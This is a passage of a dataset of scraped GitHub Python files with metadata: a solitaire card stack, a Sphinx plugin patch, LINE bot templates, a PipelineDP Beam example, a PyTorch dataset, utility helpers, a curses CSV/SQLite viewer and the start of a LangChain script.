"usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 122, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 127, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 127, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 128, "usage_type": "call"}]} +{"seq_id": "28410548168", "text": "from typing import List, Iterable, Union\n\nfrom models.card import Card\nfrom models.card_set import CardSet\n\n\nclass Stack:\n _cards: List[Card]\n _accepts: CardSet\n\n def __init__(self):\n self._cards = []\n self._accepts = CardSet()\n\n @property\n def accepts(self) -> CardSet:\n return self._accepts\n\n @accepts.setter\n def accepts(self, value: Union[Card, Iterable[Card], CardSet]):\n try:\n iter(value)\n except TypeError:\n if isinstance(value, Card):\n self._accepts = CardSet(value)\n elif isinstance(value, CardSet):\n self._accepts = value\n else:\n raise NotImplemented\n else:\n self._accepts = CardSet(*value)\n\n def add(self, card: Card):\n if self.accepts.has(card):\n self._cards.append(card)\n else:\n raise ValueError(f\"Stack does not accept card: {card}\")\n", "repo_name": "szrharrison/solitaire", "sub_path": "models/stack.py", "file_name": "stack.py", "file_ext": "py", "file_size_in_byte": 950, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 8, "usage_type": "name"}, {"api_name": "models.card.Card", "line_number": 8, "usage_type": "name"}, {"api_name": "models.card_set.CardSet", "line_number": 9, "usage_type": "name"}, {"api_name": "models.card_set.CardSet", "line_number": 13, "usage_type": "call"}, {"api_name": "models.card_set.CardSet", "line_number": 16, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 20, "usage_type": "name"}, {"api_name": "models.card.Card", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 20, "usage_type": "name"}, {"api_name": "models.card_set.CardSet", "line_number": 20, "usage_type": "name"}, {"api_name": "models.card.Card", "line_number": 24, "usage_type": "argument"}, {"api_name": "models.card_set.CardSet", "line_number": 25, "usage_type": "call"}, {"api_name": "models.card_set.CardSet", "line_number": 26, "usage_type": "argument"}, {"api_name": "models.card_set.CardSet", "line_number": 31, "usage_type": "call"}, {"api_name": "models.card.Card", "line_number": 33, "usage_type": "name"}]} +{"seq_id": "17695027225", "text": "\"\"\"Adds support for `macroParam` as an object type.\"\"\"\n\nimport sphinx.domains.c\n\nfrom sphinx.domains.c import (\n Symbol as CSymbol,\n ASTMacro,\n ASTMacroParameter,\n ASTDeclaration,\n)\n\n\ndef _monkey_patch_c_macro_parameter_symbols():\n \"\"\"Adds support for the `macroParam` object type to the C domain.\"\"\"\n\n orig_add_function_params = CSymbol._add_function_params\n\n def _add_function_params(self: CSymbol) -> None:\n orig_add_function_params(self)\n if self.declaration is None or not isinstance(\n self.declaration.declaration, ASTMacro\n ):\n return\n args = self.declaration.declaration.args\n if not args:\n return\n for p in args:\n nn = p.arg\n if nn is None:\n continue\n decl = ASTDeclaration(\"macroParam\", None, p) # type: ignore[arg-type]\n assert not nn.rooted\n assert len(nn.names) == 1\n self._add_symbols(nn, decl, self.docname, self.line)\n\n CSymbol._add_function_params = _add_function_params # type: ignore[assignment]\n\n def get_id(\n self: ASTMacroParameter, version: int, objectType: str, symbol: CSymbol\n ) -> str:\n # the anchor will be our parent\n declaration = symbol.parent.declaration\n assert declaration is not None\n return declaration.get_id(version, prefixed=False)\n\n ASTMacroParameter.get_id = get_id # type: ignore[attr-defined]\n\n sphinx.domains.c.CDomain.object_types[\"macroParam\"] = sphinx.domains.ObjType(\n \"macro parameter\", \"identifier\", \"var\", \"member\", \"data\"\n )\n\n\n_monkey_patch_c_macro_parameter_symbols()\n", "repo_name": "jbms/sphinx-immaterial", "sub_path": "sphinx_immaterial/apidoc/cpp/macro_parameters.py", "file_name": "macro_parameters.py", "file_ext": "py", "file_size_in_byte": 1661, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 138, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sphinx.domains.c.Symbol._add_function_params", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sphinx.domains.c.Symbol", "line_number": 16, "usage_type": "name"}, {"api_name": "sphinx.domains.c.Symbol", "line_number": 18, "usage_type": "name"}, {"api_name": "sphinx.domains.c.ASTMacro", "line_number": 21, "usage_type": "argument"}, {"api_name": "sphinx.domains.c.ASTDeclaration", "line_number": 31, "usage_type": "call"}, {"api_name": "sphinx.domains.c.Symbol._add_function_params", "line_number": 36, "usage_type": "attribute"}, {"api_name": "sphinx.domains.c.Symbol", "line_number": 36, "usage_type": "name"}, {"api_name": "sphinx.domains.c.ASTMacroParameter", "line_number": 39, "usage_type": "name"}, {"api_name": "sphinx.domains.c.Symbol", "line_number": 39, "usage_type": "name"}, {"api_name": "sphinx.domains.c.ASTMacroParameter.get_id", "line_number": 46, "usage_type": "attribute"}, {"api_name": "sphinx.domains.c.ASTMacroParameter", "line_number": 46, "usage_type": "name"}, {"api_name": "sphinx.domains.c.domains", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sphinx.domains.c", "line_number": 48, "usage_type": "name"}, {"api_name": "sphinx.domains.c.domains.ObjType", "line_number": 48, "usage_type": "call"}]} +{"seq_id": "1535495046", "text": "#這些是LINE官方開放的套件組合透過import來套用這個檔案上\r\nfrom linebot import (LineBotApi, WebhookHandler)\r\nfrom linebot.exceptions import (InvalidSignatureError)\r\nfrom linebot.models import *\r\n\r\nimport gspread\r\nfrom oauth2client.service_account import ServiceAccountCredentials\r\n\r\nscope = [\"https://spreadsheets.google.com/feeds\",'https://www.googleapis.com/auth/spreadsheets',\"https://www.googleapis.com/auth/drive.file\",\"https://www.googleapis.com/auth/drive\"]\r\ncreds = ServiceAccountCredentials.from_json_keyfile_name(\"creds.json\",scope)\r\n\r\nclient = gspread.authorize(creds)\r\nsheet = client.open(\"test_1_db\")\r\nsheet_loc = sheet.get_worksheet(0)\r\nsheet_cost = sheet.get_worksheet(1)\r\nsheet_wal = sheet.get_worksheet(2)\r\nsheet_light = sheet.get_worksheet(3)\r\nsheet_pass = sheet.get_worksheet(4)\r\n\r\n#ImagemapSendMessage(組圖訊息)\r\ndef imagemap_message():\r\n message = ImagemapSendMessage(\r\n base_url=\"https://i.imgur.com/BfTFVDN.jpg\",\r\n alt_text='最新的合作廠商有誰呢？',\r\n base_size=BaseSize(height=2000, width=2000),\r\n actions=[\r\n URIImagemapAction(\r\n #家樂福\r\n link_uri=\"https://tw.shop.com/search/%E5%AE%B6%E6%A8%82%E7%A6%8F\",\r\n area=ImagemapArea(\r\n x=0, y=0, width=1000, height=1000\r\n )\r\n ),\r\n URIImagemapAction(\r\n #生活市集\r\n link_uri=\"https://tw.shop.com/search/%E7%94%9F%E6%B4%BB%E5%B8%82%E9%9B%86\",\r\n area=ImagemapArea(\r\n x=1000, y=0, width=1000, height=1000\r\n )\r\n ),\r\n URIImagemapAction(\r\n #阿瘦皮鞋\r\n link_uri=\"https://tw.shop.com/search/%E9%98%BF%E7%98%A6%E7%9A%AE%E9%9E%8B\",\r\n area=ImagemapArea(\r\n x=0, y=1000, width=1000, height=1000\r\n )\r\n ),\r\n URIImagemapAction(\r\n #塔吉特千層蛋糕\r\n link_uri=\"https://tw.shop.com/search/%E5%A1%94%E5%90%89%E7%89%B9\",\r\n area=ImagemapArea(\r\n x=1000, y=1000, width=1000, height=500\r\n )\r\n ),\r\n URIImagemapAction(\r\n #亞尼克生乳捲\r\n link_uri=\"https://tw.shop.com/search/%E4%BA%9E%E5%B0%BC%E5%85%8B\",\r\n area=ImagemapArea(\r\n x=1000, y=1500, width=1000, height=500\r\n )\r\n )\r\n ]\r\n )\r\n return message\r\n\r\n#TemplateSendMessage - ButtonsTemplate (按鈕介面訊息)\r\ndef buttons_message():\r\n message = TemplateSendMessage(\r\n alt_text='好消息來囉～',\r\n template=ButtonsTemplate(\r\n thumbnail_image_url=\"https://pic2.zhimg.com/v2-de4b8114e8408d5265503c8b41f59f85_b.jpg\",\r\n title=\"是否要進行抽獎活動？\",\r\n text=\"輸入生日後即獲得抽獎機會\",\r\n actions=[\r\n DatetimePickerTemplateAction(\r\n label=\"請選擇生日\",\r\n data=\"input_birthday\",\r\n mode='date',\r\n initial='1990-01-01',\r\n max='2019-03-10',\r\n min='1930-01-01'\r\n ),\r\n MessageTemplateAction(\r\n label=\"看抽獎品項\",\r\n text=\"有哪些抽獎品項呢？\"\r\n ),\r\n URITemplateAction(\r\n label=\"免費註冊享回饋\",\r\n uri=\"https://tw.shop.com/nbts/create-myaccount.xhtml?returnurl=https%3A%2F%2Ftw.shop.com%2F\"\r\n )\r\n ]\r\n )\r\n )\r\n return message\r\n\r\n#TemplateSendMessage - ConfirmTemplate(確認介面訊息)\r\ndef Confirm_Template():\r\n\r\n message = TemplateSendMessage(\r\n alt_text='是否註冊成為會員？',\r\n template=ConfirmTemplate(\r\n text=\"是否註冊成為會員？\",\r\n actions=[\r\n PostbackTemplateAction(\r\n label=\"馬上註冊\",\r\n text=\"現在、立刻、馬上\",\r\n data=\"會員註冊\"\r\n ),\r\n MessageTemplateAction(\r\n label=\"查詢其他功能\",\r\n text=\"查詢其他功能\"\r\n )\r\n ]\r\n )\r\n )\r\n return message\r\n\r\n#旋轉木馬按鈕訊息介面\r\n\r\ndef Carousel_Template_menu():\r\n message = TemplateSendMessage(\r\n alt_text='一則旋轉木馬按鈕訊息',\r\n template=CarouselTemplate(\r\n columns=[\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/3whWd6A.png',\r\n title='ID-card location',\r\n text='check last ID-CARD location',\r\n actions=[\r\n MessageTemplateAction(\r\n label='tap to check',\r\n text='check last ID-CARD location'\r\n )\r\n ]\r\n ),\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/Ev4ToWr.png',\r\n title='Wallet location',\r\n text='check present wallet location',\r\n actions=[\r\n MessageTemplateAction(\r\n label='tap to check',\r\n text='check present wallet location'\r\n )\r\n ]\r\n ),\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/5NqGKmh.png',\r\n title='Cost',\r\n text='check cost info',\r\n actions=[\r\n MessageTemplateAction(\r\n label='tap to check',\r\n text='check cost info'\r\n )\r\n ]\r\n ),\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/oczX1yI.png',\r\n title='Light',\r\n text='turn on signal light',\r\n actions=[\r\n MessageTemplateAction(\r\n label='tap to light up',\r\n text='turn on signal light'\r\n )\r\n ]\r\n ),\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/McGA5nL.png',\r\n title='Password setting',\r\n text='set wallet password',\r\n actions=[\r\n MessageTemplateAction(\r\n label='tap to set',\r\n text='set wallet password'\r\n )\r\n ]\r\n )\r\n ], image_aspect_ratio = 'rectangle', image_size = 'cover'\r\n )\r\n )\r\n return message\r\n\r\ndef Carousel_Template_off():\r\n message = TemplateSendMessage(\r\n alt_text='一則旋轉木馬按鈕訊息',\r\n template=CarouselTemplate(\r\n columns=[\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/774QQKE.png',\r\n title='Turn off',\r\n text='turn off the light',\r\n actions=[\r\n MessageTemplateAction(\r\n label='tap to off',\r\n text='off'\r\n )\r\n ]\r\n )\r\n ], image_aspect_ratio = 'rectangle', image_size = 'cover'\r\n )\r\n )\r\n return message\r\n\r\ndef Carousel_Template_cost():\r\n message = TemplateSendMessage(\r\n alt_text='一則旋轉木馬按鈕訊息',\r\n template=CarouselTemplate(\r\n columns=[\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/CHPYx2q.png',\r\n title= '$' + sheet_cost.cell(1,8).value,\r\n text='food cost',\r\n actions=[\r\n MessageTemplateAction(\r\n label='done',\r\n text='done'\r\n )\r\n ]\r\n ),\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/OUXtBls.png',\r\n title= '$' + sheet_cost.cell(2,8).value,\r\n text='clothing cost',\r\n actions=[\r\n MessageTemplateAction(\r\n label='done',\r\n text='done'\r\n )\r\n ]\r\n ),\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/oyNcabU.png',\r\n title= '$' + sheet_cost.cell(3,8).value,\r\n text='housing',\r\n actions=[\r\n MessageTemplateAction(\r\n label='done',\r\n text='done'\r\n )\r\n ]\r\n ),\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/e5oOgav.png',\r\n title= '$' + sheet_cost.cell(4,8).value,\r\n text='transportation',\r\n actions=[\r\n MessageTemplateAction(\r\n label='done',\r\n text='done'\r\n )\r\n ]\r\n ),\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/iW98jue.png',\r\n title= '$' + sheet_cost.cell(5,8).value,\r\n text='education',\r\n actions=[\r\n MessageTemplateAction(\r\n label='done',\r\n text='done'\r\n )\r\n ]\r\n ),\r\n CarouselColumn(\r\n thumbnail_image_url='https://imgur.com/IcUTcAe.png',\r\n title= '$' + sheet_cost.cell(6,8).value,\r\n text='entertainment',\r\n actions=[\r\n MessageTemplateAction(\r\n label='done',\r\n text='done'\r\n )\r\n ]\r\n )\r\n ], image_aspect_ratio = 'rectangle', image_size = 'cover'\r\n )\r\n )\r\n return message\r\n\r\n#TemplateSendMessage - ImageCarouselTemplate(圖片旋轉木馬)\r\ndef image_carousel_message1():\r\n message = TemplateSendMessage(\r\n alt_text='圖片旋轉木馬',\r\n template=ImageCarouselTemplate(\r\n columns=[\r\n ImageCarouselColumn(\r\n image_url=\"https://i.imgur.com/uKYgfVs.jpg\",\r\n action=URITemplateAction(\r\n label=\"新鮮水果\",\r\n uri=\"http://img.juimg.com/tuku/yulantu/110709/222-110F91G31375.jpg\"\r\n )\r\n ),\r\n ImageCarouselColumn(\r\n image_url=\"https://i.imgur.com/QOcAvjt.jpg\",\r\n action=URITemplateAction(\r\n label=\"新鮮蔬菜\",\r\n uri=\"https://cdn.101mediaimage.com/img/file/1410464751urhp5.jpg\"\r\n )\r\n ),\r\n ImageCarouselColumn(\r\n image_url=\"https://i.imgur.com/Np7eFyj.jpg\",\r\n action=URITemplateAction(\r\n label=\"可愛狗狗\",\r\n uri=\"http://imgm.cnmo-img.com.cn/appimg/screenpic/big/674/673928.JPG\"\r\n )\r\n ),\r\n ImageCarouselColumn(\r\n image_url=\"https://i.imgur.com/QRIa5Dz.jpg\",\r\n action=URITemplateAction(\r\n label=\"可愛貓咪\",\r\n uri=\"https://m-miya.net/wp-content/uploads/2014/07/0-065-1.min_.jpg\"\r\n )\r\n )\r\n ]\r\n )\r\n )\r\n return message\r\n\r\n#關於LINEBOT聊天內容範例\r\n", "repo_name": "sallyfelixia/make-ntu", "sub_path": "message.py", "file_name": "message.py", "file_ext": "py", "file_size_in_byte": 12368, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "oauth2client.service_account.ServiceAccountCredentials.from_json_keyfile_name", "line_number": 10, "usage_type": "call"}, {"api_name": "oauth2client.service_account.ServiceAccountCredentials", "line_number": 10, "usage_type": "name"}, {"api_name": "gspread.authorize", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "29906405970", "text": "from absl import app\nfrom absl import flags\nimport apache_beam as beam\nfrom apache_beam.runners.portability import fn_api_runner\nimport pipeline_dp\nfrom pipeline_dp import private_beam\nfrom pipeline_dp import SumParams\nimport pandas as pd\n\nFLAGS = flags.FLAGS\nflags.DEFINE_string('input_file', 'restaurants_week_data.csv',\n 'The CSV file with restaraunt visits data')\nflags.DEFINE_string('output_file', None, 'Output file')\n\n\ndef main(unused_argv):\n # Setup Beam\n\n # Here, we use a local Beam runner.\n # For a truly distributed calculation, connect to a Beam cluster (e.g.\n # running on some cloud provider).\n runner = fn_api_runner.FnApiRunner() # Local Beam runner\n with beam.Pipeline(runner=runner) as pipeline:\n\n # Define the privacy budget available for our computation.\n budget_accountant = pipeline_dp.NaiveBudgetAccountant(total_epsilon=1,\n total_delta=1e-6)\n\n # Load and parse input data\n df = pd.read_csv(FLAGS.input_file)\n df.rename(inplace=True,\n columns={\n 'VisitorId': 'user_id',\n 'Time entered': 'enter_time',\n 'Time spent (minutes)': 'spent_minutes',\n 'Money spent (euros)': 'spent_money',\n 'Day': 'day'\n })\n restaraunt_visits_rows = [index_row[1] for index_row in df.iterrows()]\n beam_data = pipeline | beam.Create(restaraunt_visits_rows)\n\n # Wrap Beam's PCollection into it's private version\n private_restaraunt_visits = beam_data | private_beam.MakePrivate(\n budget_accountant=budget_accountant,\n privacy_id_extractor=lambda row: row.user_id)\n\n # Calculate the private sum\n dp_result = private_restaraunt_visits | private_beam.Sum(\n SumParams(noise_kind=pipeline_dp.NoiseKind.GAUSSIAN,\n max_partitions_contributed=7,\n max_contributions_per_partition=2,\n min_value=1,\n max_value=100,\n budget_weight=1,\n partition_extractor=lambda row: row.day,\n value_extractor=lambda row: row.spent_money))\n budget_accountant.compute_budgets()\n\n # Save the results\n dp_result | beam.io.WriteToText(FLAGS.output_file)\n\n return 0\n\n\nif __name__ == '__main__':\n flags.mark_flag_as_required(\"input_file\")\n flags.mark_flag_as_required(\"output_file\")\n app.run(main)\n", "repo_name": "OpenMined/PipelineDP", "sub_path": "examples/restaurant_visits/run_on_beam.py", "file_name": "run_on_beam.py", "file_ext": "py", "file_size_in_byte": 2589, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 262, "dataset": "github-code", "pt": "16", "api": [{"api_name": "absl.flags.FLAGS", "line_number": 10, "usage_type": "attribute"}, {"api_name": "absl.flags", "line_number": 10, "usage_type": "name"}, {"api_name": "absl.flags.DEFINE_string", "line_number": 11, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 11, "usage_type": "name"}, {"api_name": "absl.flags.DEFINE_string", "line_number": 13, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 13, "usage_type": "name"}, {"api_name": "apache_beam.runners.portability.fn_api_runner.FnApiRunner", "line_number": 22, "usage_type": "call"}, {"api_name": "apache_beam.runners.portability.fn_api_runner", "line_number": 22, "usage_type": "name"}, {"api_name": "apache_beam.Pipeline", "line_number": 23, "usage_type": "call"}, {"api_name": "pipeline_dp.NaiveBudgetAccountant", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 30, "usage_type": "call"}, {"api_name": "apache_beam.Create", "line_number": 40, "usage_type": "call"}, {"api_name": "pipeline_dp.private_beam.MakePrivate", "line_number": 43, "usage_type": "call"}, {"api_name": "pipeline_dp.private_beam", "line_number": 43, "usage_type": "name"}, {"api_name": "pipeline_dp.private_beam.Sum", "line_number": 48, "usage_type": "call"}, {"api_name": "pipeline_dp.private_beam", "line_number": 48, "usage_type": "name"}, {"api_name": "pipeline_dp.SumParams", "line_number": 49, "usage_type": "call"}, {"api_name": "pipeline_dp.NoiseKind", "line_number": 49, "usage_type": "attribute"}, {"api_name": "apache_beam.io.WriteToText", "line_number": 60, "usage_type": "call"}, {"api_name": "apache_beam.io", "line_number": 60, "usage_type": "attribute"}, {"api_name": "absl.flags.mark_flag_as_required", "line_number": 66, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 66, "usage_type": "name"}, {"api_name": "absl.flags.mark_flag_as_required", "line_number": 67, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 67, "usage_type": "name"}, {"api_name": "absl.app.run", "line_number": 68, "usage_type": "call"}, {"api_name": "absl.app", "line_number": 68, "usage_type": "name"}]} +{"seq_id": "42678240830", "text": "# -*- coding: utf-8 -*-\nfrom pathlib import Path\n\nimport torch\nfrom torch.utils.data import Dataset\n\nfrom ..utils.data import read_sentences, onehot_data\n\n\nclass OneHotDataset(Dataset):\n r\"\"\"A PyTorch dataset for one-hot encoded binary attributes. The actual\n encoding will be done in the relevant collate function.\n\n Arguments:\n fname (str or Path): A string or ``pathlib.Path`` object giving\n space delimited attributes per sentence.\n vocab (Vocabulary): A ``Vocabulary`` instance for the attributes.\n \"\"\"\n\n def __init__(self, fname, vocab):\n self.path = Path(fname)\n self.vocab = vocab\n\n # Detect glob patterns\n self.fnames = sorted(self.path.parent.glob(self.path.name))\n\n if len(self.fnames) == 0:\n raise RuntimeError('{} does not exist.'.format(self.path))\n elif len(self.fnames) > 1:\n raise RuntimeError(\"Multiple source files not supported.\")\n\n # Read the sentences and map them to vocabulary\n self.data, self.lengths = read_sentences(\n self.fnames[0], self.vocab, eos=False, bos=False)\n\n # Convert indices to torch tensors\n self.data = [torch.LongTensor(elem) for elem in self.data]\n\n # number of possible classes is the vocab size\n self.n_classes = len(self.vocab)\n\n # Dataset size\n self.size = len(self.data)\n\n @staticmethod\n def to_torch(batch, **kwargs):\n return onehot_data(batch, **kwargs)\n\n def __getitem__(self, idx):\n return self.data[idx]\n\n def __len__(self):\n return self.size\n\n def __repr__(self):\n s = \"{} '{}' ({} sentences)\\n\".format(\n self.__class__.__name__, self.fnames[0].name, self.__len__())\n return s\n", "repo_name": "srvk/how2-dataset", "sub_path": "baselines/code/nmtpytorch/datasets/onehot.py", "file_name": "onehot.py", "file_ext": "py", "file_size_in_byte": 1768, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 143, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 10, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 21, "usage_type": "call"}, {"api_name": "utils.data.read_sentences", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 37, "usage_type": "call"}, {"api_name": "utils.data.onehot_data", "line_number": 47, "usage_type": "call"}]} +{"seq_id": "8226154690", "text": "# utils/toolkit.py\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nimport logging, os, time\nimport logging.config\n\nimport requests, yaml\nfrom redis import ConnectionPool, Redis\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef logging_init():\n with open('settings/logging.yaml', 'r') as f:\n logging_config = yaml.load(f.read())\n log_dir = logging_config['handlers']['file']['filename']\n if not os.path.exists('log/'):\n os.mkdir('log/')\n if not os.path.exists(log_dir):\n with open(log_dir, 'w') as f:\n f.write('### Started ###')\n logging.config.dictConfig(logging_config)\n\n\ndef redis_init():\n with open('settings/redis.yaml', 'r') as f:\n redis_config = yaml.load(f.read())\n try:\n pool = ConnectionPool(host=redis_config['host'], port=redis_config['port'], db=redis_config['db'], decode_responses=True)\n except Exception as e:\n logger.exception('Redis Connecting Failed!')\n redis = Redis(connection_pool=self._pool)\n return redis\n\n\ndef get_http_respense(url, method=None, rtype=None, timeout=5, **payload):\n headers = {\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36',\n 'Connection': 'keep-alive',\n 'Content-Type': 'application/json',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',\n 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7'\n }\n try:\n response = requests.request(method, url, timeout=timeout, headers=headers, **payload)\n except Exception as e:\n logger.exception('HTTP Exception Found!')\n return None, str(e)\n if not response.ok:\n return False, f'URL: {response.url}, Status Code: {response.status_code}, Reason: {response.reason}'\n else:\n if rtype is 'JSON':\n return True, response.json()\n elif rtype is 'HTML':\n response.encoding = 'UTF-8'\n return True, response.text\n\n\ndef timecost(func):\n def wrapper(*args, **kwargs):\n start = time.clock()\n result = func(*args, **kwargs)\n end = time.clock()\n logger.debug(f'Running Time: {end - start:.3f} Seconds')\n return result\n return wrapper\n\n", "repo_name": "LeoOrange/ZhihuCrawler", "sub_path": "utils/toolkit.py", "file_name": "toolkit.py", "file_ext": "py", "file_size_in_byte": 2299, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "logging.config.dictConfig", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.config", "line_number": 24, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 29, "usage_type": "call"}, {"api_name": "redis.ConnectionPool", "line_number": 31, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 34, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 47, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 63, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 65, "usage_type": "call"}]} +{"seq_id": "15172708379", "text": "import csv\nimport curses\nfrom src.DB_Handler import DB_Handler\nimport os\nfrom curses import wrapper\n\nDB = DB_Handler(\"Files.db\")\n\ndef open_file(filename):\n rows = []\n count = 0\n with open(filename, newline='') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',', quotechar='|')\n for i in spamreader:\n if count == 0:\n cols = ','.join(i)\n if i == \"\":\n cols = \"\"\n else:\n rows.append(i)\n count+=1\n if count == 0:\n cols = \"\"\n return(cols,rows)\n\ndef add_file(file, path):\n contents, rows = open_file(file)\n cols = contents.split(\",\")\n DB.DropDB(f\"{path}/{file}\")\n DB.CreateDB(f\"{path}/{file}\", cols, rows)\n return (f\"{path}/{file}\")\n\ndef savefile(file, path):\n save = DB.RetrieveDB(f\"{path}/{file}\")\n cols = DB.getcollist(f\"{path}/{file}\")\n colcount = 0\n cols = cols.fetchall()\n for i in cols:\n colcount +=1\n f = open(file, \"w\")\n count = 1\n write = \"\"\n for i in cols:\n write += i[1]\n if colcount > count:\n write += \",\"\n else:\n write += \"\\n\"\n count+=1\n count = 1\n for i in save.fetchall():\n for j in i:\n if j != None:\n write +=(j)\n if colcount > count:\n write += \",\"\n count+=1\n write += \"\\n\"\n count = 1\n f.write(write[:-1])\n \n\n\ndef close_file(file, path):\n savefile(file, path)\n DB.DropDB(f\"{path}/{file}\")\n\ndef get_files():\n files = []\n search = os.listdir()\n for i in search:\n if \".csv\" in i:\n files.append(str(i))\n return (files)\n\ndef command_execute(command):\n if command[0] == \"new\":\n f = open(command[1], \"w\")\n f.close()\n elif command[0] == \"cd\":\n os.chdir(command[1])\n # elif command[0] == \"save\":\n # savefile(file, path)\n\ndef main(stdscr):\n # Clear screen\n path = os.getcwd()\n page = \"select\"\n stdscr.clear()\n bottom,right = stdscr.getmaxyx()\n running = True\n while(running == True): \n if page == \"select\":\n files = get_files()\n count = 0\n for i in files:\n stdscr.addstr(count, 0, i)\n count+=1\n if page == \"display\":\n display = DB.RetrieveDB(table)\n cols = DB.getcollist(table)\n countcol = 0\n countrow = 0\n for i in cols.fetchall():\n stdscr.addstr(countcol, countrow, i[1])\n countrow += 13\n #countrow += int(right/len())\n countcol+=1\n countrow=0\n for i in display.fetchall():\n for j in i:\n stdscr.addstr(countcol, countrow, j)\n # countrow += 13\n countrow += int(right/len(i))\n for k in range(right):\n if k > countrow:\n stdscr.addstr(countcol, k, (\" \"))\n countrow=0\n countcol+=1\n #stdscr.addstr(countcol, countrow, (table))\n if page == \"query\":\n query = query.replace(\"Table()\", f\"'{table}'\")\n # try:\n result = DB.CallDB(query[1:])\n countcol = 0\n countrow = 0\n if '*' in query:\n for i in cols.fetchall():\n stdscr.addstr(countcol, countrow, i[1])\n else:\n if 'select' in query.lower():\n columns =query.split(\" \")[1]\n for i in columns.split(\",\"):\n stdscr.addstr(countcol, countrow, i)\n countrow += int(right/len(columns.split(\",\")))\n else:\n stdscr.addstr(countcol, countrow, f'{query[1:]}')\n countrow += 13\n #countrow += int(right/len())\n countcol+=1\n countrow=0\n for i in result.fetchall():\n for j in i:\n stdscr.addstr(countcol, countrow, j)\n #countrow += 13\n countrow += int(right/len(i))\n for k in range(right):\n if k > countrow:\n stdscr.addstr(countcol, k, (\" \"))\n countrow=0\n countcol+=1\n # except:\n # stdscr.addstr(0, 0, f\"{query[1:]}\")\n for i in range(right):\n stdscr.addstr(int((bottom -bottom/4)), i, f'-')\n curses.echo()\n s = stdscr.getstr(int((bottom -bottom/4))+1,0, 320)\n command = str(s).replace(\"'\", \"\")\n if command[1] == \"/\":\n com = command[2:].split(\" \")\n stdscr.addstr(0, 0, com[0])\n if com[0] == \"close\":\n page = \"display\"\n if com[0] == \"exit\":\n running = False\n command_execute(com)\n else:\n if page == \"display\":\n query = str(s).replace(\"'\", \"\")\n page = \"query\"\n if page == \"select\":\n file = str(s).replace(\"'\", \"\")\n table = add_file(file[1:], path)\n page = \"display\"\n stdscr.clear()\n\n#wrapper(main)", "repo_name": "RobertLudwick/DB_Handler", "sub_path": "src/display.py", "file_name": "display.py", "file_ext": "py", "file_size_in_byte": 5303, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "src.DB_Handler.DB_Handler", "line_number": 7, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 13, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 70, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 81, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 87, "usage_type": "call"}, {"api_name": "curses.echo", "line_number": 156, "usage_type": "call"}]} +{"seq_id": "40093823324", "text": "\n## Librerias y dependencias\nimport os\nfrom langchain import OpenAI\nfrom langchain.document_loaders import PyPDFLoader\nfrom langchain.chains.summarize import load_summarize_chain\nfrom langchain.text_splitter import RecursiveCharacterTextSplitter\nfrom Conection import 